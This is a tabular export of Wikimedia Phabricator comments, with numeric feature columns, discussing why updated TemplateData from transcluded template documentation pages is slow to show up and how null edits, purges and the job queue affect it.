Widely-used templates are protected, and users can't null-edit them unless they are an admin (which drastically reduces the population of people who can add and edit TemplateData on the exact templates which would benefit from TemplateData most).",,,1376401137,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,3.0,3.0,1.0,1.0,0.0,0.0,1.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,9.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,8.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,12.0,1.0,3.0,8.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,3.0,9.0,4.0,0.0,0.0,0.0,3.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,4.131578947368421,0.7368421052631579,"(In reply to comment #23)
QUOTE
QUOTE
QUOTE

Note: This workaround only works for templates that aren't widely used.

Widely-used templates are protected, and users can't null-edit them unless they are an admin (which drastically reduces the population of people who can add and edit TemplateData on the exact templates which would benefit from TemplateData most)."
235263,Updated TemplateData from transcluded items take a long time to show up,"Moving this to be a site issue, and re-grading. Thanks to Tim's fix this isn't critical any more (users can 'just' null-edit touch the relevant template to cause TemplateData content to come through), but it's very irritating and we need to fix it.",,,1376122026,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,5,,2.0,0.0,2.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,7.0,12.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,12.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,3.5517241379310347,0.7758620689655172,"Moving this to be a site issue, and re-grading. Thanks to Tim's fix this isn't critical any more (users can 'just' null-edit touch the relevant template to cause TemplateData content to come through), but it's very irritating and we need to fix it."
235258,Updated TemplateData from transcluded items take a long time to show up,"What would be nice is if action=purge would force templatedata updates, like null edits do. This is necessary as many templates are protected so only admins can do null edits. Any editor can do an action=purge (I believe).",,,1376033464,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,5,,4.0,0.0,0.0,2.0,0.0,10.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,23.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,8.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8541666666666665,0.75,"What would be nice is if action=purge would force templatedata updates, like null edits do. This is necessary as many templates are protected so only admins can do null edits. Any editor can do an action=purge (I believe)."
235253,Updated TemplateData from transcluded items take a long time to show up,"Tim's change https://gerrit.wikimedia.org/r/#/c/72679/ (deployed) seems to have made it possible to force templatedata updates by just performing a null edit on the affected template, which is now safe to do on highly-used templates. Note that a null edit is an edit made by just pressing ""Save page"" without making _any_ changes to the template code itself.",,,1373338145,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,1.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,19.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,6.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,3.0,0.0,4.0,0.0,1.0,4.0,1.0,4.0,0.0,0.0,0.0,3.8970588235294117,0.75,"Tim's change URL (deployed) seems to have made it possible to force templatedata updates by just performing a null edit on the affected template, which is now safe to do on highly-used templates. Note that a null edit is an edit made by just pressing ""Save page"" without making _any_ changes to the template code itself."
235249,Updated TemplateData from transcluded items take a long time to show up,"You appear to just be seeing the effect of weeks of job queue lag, i.e. a system problem, not a MediaWiki problem.",,,1372817050,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,3.72,0.84,"You appear to just be seeing the effect of weeks of job queue lag, i.e. a system problem, not a MediaWiki problem."
686122,Updated TemplateData from transcluded items take a long time to show up,"Observation:

- Edite <templatedata> block on Template:Pagetype/doc.
- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype/doc
  (with random query params to bust frontend cache)
  It shows the updated data.
- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
  (with random query to bust frontend cache)
  It shows the old version still.
- View https://en.wikipedia.org/wiki/Template:Pagetype
  It shows the updated version in the HTML version of the data
  (not sure whether the html update was triggered by a deferred update
  as a result of me editing the sub page or by me viewing the page,
  either way the output is updated).

- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype/doc
  (with random query to bust frontend cache)
  It shows the updated data.
- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
  (with random query to bust cache)
  It shows the old version still.

- Check https://en.wikipedia.org/w/api.php?format=jsonfm&action=query&meta=siteinfo&siprop=statistics and saw there are no pending jobs (not sure if this data is accurate though, it seemed to be accurate as edit count was going up on each refresh).


- Make a null edit to ""Template:Pagetype"".

- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
  (with random query to bust cache)

  It now shows the latest data, update succeeded.


So what is causing this to not be auto updated? I think T7382. But having trouble figuring out how come bug 5382 exists since we do have LinkUpdate and RefreshLinks2 which are triggered on edit from the job queue and update all pages linking to it, and the code in LinkUpdate includes all link tables and page properties.",,,1467215528,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,156,,1.0,0.0,0.0,1.3333333333333333,1.0,4.333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,3.0,10.333333333333334,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,5.0,3.0,2.6666666666666665,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,19.333333333333332,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,5.666666666666667,3.0,11.666666666666666,1.3333333333333333,2.3333333333333335,8.333333333333334,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,4.0,10.333333333333334,6.666666666666667,0.3333333333333333,0.6666666666666666,0.0,4.0,0.0,1.0,1.0,0.6666666666666666,2.6666666666666665,0.0,0.3333333333333333,1.0,3.6799628942486087,0.6660825946540232,"Observation:

- Edite <templatedata> block on Template:Pagetype/doc.
- View URL
  (with random query params to bust frontend cache)
  It shows the updated data.
- View URL
  (with random query to bust frontend cache)
  It shows the old version still.
- View URL
  It shows the updated version in the HTML version of the data
  (not sure whether the html update was triggered by a deferred update
  as a result of me editing the sub page or by me viewing the page,
  either way the output is updated).

- View URL
  (with random query to bust frontend cache)
  It shows the updated data.
- View URL
  (with random query to bust cache)
  It shows the old version still.

- Check URL and saw there are no pending jobs (not sure if this data is accurate though, it seemed to be accurate as edit count was going up on each refresh).


- Make a null edit to ""Template:Pagetype"".

- View URL
  (with random query to bust cache)

  It now shows the latest data, update succeeded.


So what is causing this to not be auto updated? I think T7382. But having trouble figuring out how come bug 5382 exists since we do have LinkUpdate and RefreshLinks2 which are triggered on edit from the job queue and update all pages linking to it, and the code in LinkUpdate includes all link tables and page properties."
235245,Updated TemplateData from transcluded items take a long time to show up,"Observation:

- Edite <templatedata> block on Template:Pagetype/doc.
- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype/doc
  (with random query params to bust frontend cache)
  It shows the updated data.
- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
  (with random query to bust frontend cache)
  It shows the old version still.
- View https://en.wikipedia.org/wiki/Template:Pagetype
  It shows the updated version in the HTML version of the data
  (not sure whether the html update was triggered by a deferred update
  as a result of me editing the sub page or by me viewing the page,
  either way the output is updated).

- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype/doc
  (with random query to bust frontend cache)
  It shows the updated data.
- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
  (with random query to bust cache)
  It shows the old version still.

- Check https://en.wikipedia.org/w/api.php?format=jsonfm&action=query&meta=siteinfo&siprop=statistics and saw there are no pending jobs (not sure if this data is accurate though, it seemed to be accurate as edit count was going up on each refresh).


- Make a null edit to ""Template:Pagetype"".

- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
  (with random query to bust cache)

  It now shows the latest data, update succeeded.


So what is causing this to not be auto updated? I think bug 5382. But having trouble figuring out how come bug 5382 exists since we do have LinkUpdate and RefreshLinks2 which are triggered on edit from the job queue and update all pages linking to it, and the code in LinkUpdate includes all link tables and page properties.",,,1372807585,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,1.0,0.0,0.0,1.3333333333333333,1.0,4.333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,3.0,10.333333333333334,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,5.0,3.0,2.6666666666666665,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,19.666666666666668,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,5.666666666666667,3.0,11.333333333333334,1.3333333333333333,2.3333333333333335,8.333333333333334,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,4.0,10.333333333333334,6.333333333333333,0.3333333333333333,0.6666666666666666,0.0,4.0,0.0,1.0,1.0,0.6666666666666666,2.6666666666666665,0.0,0.3333333333333333,1.0,3.6734006734006734,0.6599326599326599,"Observation:

- Edite <templatedata> block on Template:Pagetype/doc.
- View URL
  (with random query params to bust frontend cache)
  It shows the updated data.
- View URL
  (with random query to bust frontend cache)
  It shows the old version still.
- View URL
  It shows the updated version in the HTML version of the data
  (not sure whether the html update was triggered by a deferred update
  as a result of me editing the sub page or by me viewing the page,
  either way the output is updated).

- View URL
  (with random query to bust frontend cache)
  It shows the updated data.
- View URL
  (with random query to bust cache)
  It shows the old version still.

- Check URL and saw there are no pending jobs (not sure if this data is accurate though, it seemed to be accurate as edit count was going up on each refresh).


- Make a null edit to ""Template:Pagetype"".

- View URL
  (with random query to bust cache)

  It now shows the latest data, update succeeded.


So what is causing this to not be auto updated? I think bug 5382. But having trouble figuring out how come bug 5382 exists since we do have LinkUpdate and RefreshLinks2 which are triggered on edit from the job queue and update all pages linking to it, and the code in LinkUpdate includes all link tables and page properties."
235240,Updated TemplateData from transcluded items take a long time to show up,"Timo has narrowed down the issue to bug 5382 - we're working now to see whether we can fix that bug and so resolve this, or whether that will put too much weight on the cluster.",,,1372802966,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,8.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,5.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,5.0,15.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.641025641025641,0.8461538461538461,"Timo has narrowed down the issue to bug 5382 - we're working now to see whether we can fix that bug and so resolve this, or whether that will put too much weight on the cluster."
235235,Updated TemplateData from transcluded items take a long time to show up,"Thought I'd drop a note and say that when I tried a null edit on https://en.wikipedia.org/wiki/Template:Mileposts, the overall template description loaded right away on https://en.wikipedia.org/wiki/British_Columbia_Highway_7. However, the parameter description (km=) did not load until I deleted the template from the article and reinserted the template anew.",,,1372802403,,PHID-USER-jdkjcyuluyy456zxyufo,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,12.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,14.0,0.0,14.0,4.0,4.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.215686274509804,0.7450980392156863,"Thought I'd drop a note and say that when I tried a null edit on URL the overall template description loaded right away on URL However, the parameter description (km=) did not load until I deleted the template from the article and reinserted the template anew."
235228,Updated TemplateData from transcluded items take a long time to show up,"I added[1] templatedata to en.wiki [[Template:Redirect]] yesterday (through the /doc transclusion) and also noticed that the main template page wasn't updating (I waited for about 10 minutes).

Then I did a null-edit on Template:Redirect and it was instantly there.

Roan mentioned something earlier (IRC or IRL, don't remember) about this perhaps being caused by the JobQueue (which we use to invalidate pages transcluding other pages, in this case the transclusion of /doc into Template:. *NOT* the transclusion of Template into articles, of course, that'd be insane).

CC-ing Roan, Tim and Aaron who may have more ideas about the cause of this.

As for TemplateData itself, it is triggered as a extension parser tag (<templatedata>) and during the parsing it adds page properties which MediaWiki ends up storing in the page_props db table. The API does a read query from that same table. Pretty basic.

So what could cause the read query to the page_props table to be delayed (or perhaps even not happen at all?) from the page properties added by a page that is transcluded (Template:Foo/doc) into a template page (Template:Foo).

JobQueue? Database replication? Something else?

Note that in my testing yesterday on Template:Redirect I ruled out HTTP caching (API cluster Squid) by making unique urls each time.


[1] https://en.wikipedia.org/w/index.php?title=Template%3ARedirect%2Fdoc&diff=562472124&oldid=562471783",,,1372798204,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,0.6666666666666666,0.6666666666666666,0.0,1.3333333333333333,1.3333333333333333,3.6666666666666665,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,1.0,0.0,0.0,0.0,2.0,0.3333333333333333,6.0,11.333333333333334,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,2.3333333333333335,1.0,1.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,15.666666666666666,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,2.3333333333333335,14.0,0.6666666666666666,2.0,8.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.6666666666666666,0.0,3.6666666666666665,11.333333333333334,7.666666666666667,1.3333333333333333,0.0,0.0,3.6666666666666665,0.0,2.0,1.6666666666666667,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,2.6666666666666665,3.899305555555556,0.736111111111111,"I added[1] templatedata to en.wiki [[Template:Redirect]] yesterday (through the /doc transclusion) and also noticed that the main template page wasn't updating (I waited for about 10 minutes).

Then I did a null-edit on Template:Redirect and it was instantly there.

Roan mentioned something earlier (IRC or IRL, don't remember) about this perhaps being caused by the JobQueue (which we use to invalidate pages transcluding other pages, in this case the transclusion of /doc into Template:. *NOT* the transclusion of Template into articles, of course, that'd be insane).

CC-ing Roan, Tim and Aaron who may have more ideas about the cause of this.

As for TemplateData itself, it is triggered as a extension parser tag (<templatedata>) and during the parsing it adds page properties which MediaWiki ends up storing in the page_props db table. The API does a read query from that same table. Pretty basic.

So what could cause the read query to the page_props table to be delayed (or perhaps even not happen at all?) from the page properties added by a page that is transcluded (Template:Foo/doc) into a template page (Template:Foo).

JobQueue? Database replication? Something else?

Note that in my testing yesterday on Template:Redirect I ruled out HTTP caching (API cluster Squid) by making unique urls each time.


[1] URL"
235224,Updated TemplateData from transcluded items take a long time to show up,"Wouldn't we avoid this delay if the template data were in a specific namespace, instead of being saved in one page, which is transcluded in another, which on its turn may be transcluded another, and so on, until the data finally gets to the template? See bug 50512.",,,1372774328,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,2.0,2.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,4.0,16.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.892857142857143,0.75,"Wouldn't we avoid this delay if the template data were in a specific namespace, instead of being saved in one page, which is transcluded in another, which on its turn may be transcluded another, and so on, until the data finally gets to the template? See bug 50512."
235218,Updated TemplateData from transcluded items take a long time to show up,"The extension page says:

""The TemplateData extension works through having a <templatedata> tag defined in the wikitext of a template page (optionally it can be transcluded into the template page as well). This is designed to be compatible with the common layout many wikis have of transcluding template documentation from a separate page (but is not required).""

And this seems to work partly, e.g. for https://en.wikipedia.org/wiki/Template:Italic_title.  TemplateData is at https://en.wikipedia.org/wiki/Template:Italic_title/doc and it comes up at https://en.wikipedia.org/w/api.php?action=templatedata&titles=Template:Italic%20title&format=jsonfm , but it doesn't seem to actually work in VE (e.g. no description).

Then, https://en.wikipedia.org/wiki/Template:Dead_link appears set up similar, with TemplateData at https://en.wikipedia.org/wiki/Template:Dead_link/doc .  But it does not come up at https://en.wikipedia.org/w/api.php?action=templatedata&titles=Template:Dead%20link&format=jsonfm .  It does come up at https://en.wikipedia.org/w/api.php?action=templatedata&titles=Template:Dead%20link/doc&format=jsonfm (explicitly asking for the /doc page).",,,1372748147,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,0.5,0.0,0.0,1.5,2.0,2.5,1.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,0.0,0.0,0.5,7.5,14.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,7.0,0.0,3.0,0.5,0.0,2.0,0.0,0.0,1.0,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,9.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,4.5,2.5,11.5,0.0,3.0,6.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.0,14.0,4.5,0.0,1.0,0.0,3.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,1.5,3.8108108108108105,0.6486486486486487,"The extension page says:

""The TemplateData extension works through having a <templatedata> tag defined in the wikitext of a template page (optionally it can be transcluded into the template page as well). This is designed to be compatible with the common layout many wikis have of transcluding template documentation from a separate page (but is not required).""

And this seems to work partly, e.g. for URL  TemplateData is at URL and it comes up at URL , but it doesn't seem to actually work in VE (e.g. no description).

Then, URL appears set up similar, with TemplateData at URL .  But it does not come up at URL .  It does come up at URL (explicitly asking for the /doc page)."
235211,Updated TemplateData from transcluded items take a long time to show up,"Indeed, I cannot see templatedata hinting on en.wp for _any_ templates supposedly annotated per https://en.wikipedia.org/w/api.php?action=query&list=pageswithprop&pwppropname=templatedata&pwpprop=ids|title|value&format=jsonfm and https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/TemplateData . Escalating priority.",,,1372739834,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,0,,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.44,0.88,"Indeed, I cannot see templatedata hinting on en.wp for _any_ templates supposedly annotated per URL and URL . Escalating priority."
235205,Updated TemplateData from transcluded items take a long time to show up,https://en.wikipedia.org/wiki/Template:Mileposts was updated 48 hours ago and still hasn't shown. That seems like a time period even the squids should blink at.,,,1372694998,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.76,0.96,URL was updated 48 hours ago and still hasn't shown. That seems like a time period even the squids should blink at.
235199,Updated TemplateData from transcluded items take a long time to show up,"Though it is possible that VisualEditor and/or TemplateData do something wrong, in general there's nothing relevant in either VisualEditor or TemplateData that can delay the updating of the data.

The template data is changes by users by editing the wikitext of a Template page (or a page transcluded into a Template page). When they click ""Save page"", the MediaWiki parser detects the <templatedata> tag, tells the TemplateData extension to make sense of it, which then adds (or replaces) the parsed data in the database.

There is no deferred update here, it is replaced directly.

The API request to fetch templatedata grabs it directly from the database. This isn't specifically cached in anyway.

The only caching layer is in your browser cache and the general cache in the Wikimedia cluster for HTTP requests to content domain names (e.g. ""en.wikipedia.org"") which is Squid.",,,1372559871,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.5,0.0,1.0,0.5,4.0,1.0,0.0,0.5,0.0,4.0,0.5,0.0,0.5,1.0,0.0,0.0,5.0,10.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,7.0,0.5,2.0,0.5,0.5,0.0,1.0,0.0,1.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,17.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,9.0,4.0,10.5,1.5,2.5,12.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.5,10.0,6.0,0.0,2.0,0.0,3.5,0.0,2.0,1.5,0.0,1.0,0.0,0.0,1.0,4.35,0.6783173734610123,"Though it is possible that VisualEditor and/or TemplateData do something wrong, in general there's nothing relevant in either VisualEditor or TemplateData that can delay the updating of the data.

The template data is changes by users by editing the wikitext of a Template page (or a page transcluded into a Template page). When they click ""Save page"", the MediaWiki parser detects the <templatedata> tag, tells the TemplateData extension to make sense of it, which then adds (or replaces) the parsed data in the database.

There is no deferred update here, it is replaced directly.

The API request to fetch templatedata grabs it directly from the database. This isn't specifically cached in anyway.

The only caching layer is in your browser cache and the general cache in the Wikimedia cluster for HTTP requests to content domain names (e.g. ""en.wikipedia.org"") which is Squid."
235193,Updated TemplateData from transcluded items take a long time to show up,"The behavior seems inconsistent. Today, TemplateData was available in transclusions immediately after adding it to the template's documentation subpage. (tested with https://fr.wikipedia.org/wiki/Mod%C3%A8le:Unit%C3%A9 )",,,1372513536,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.321428571428571,0.9642857142857143,"The behavior seems inconsistent. Today, TemplateData was available in transclusions immediately after adding it to the template's documentation subpage. (tested with URL )"
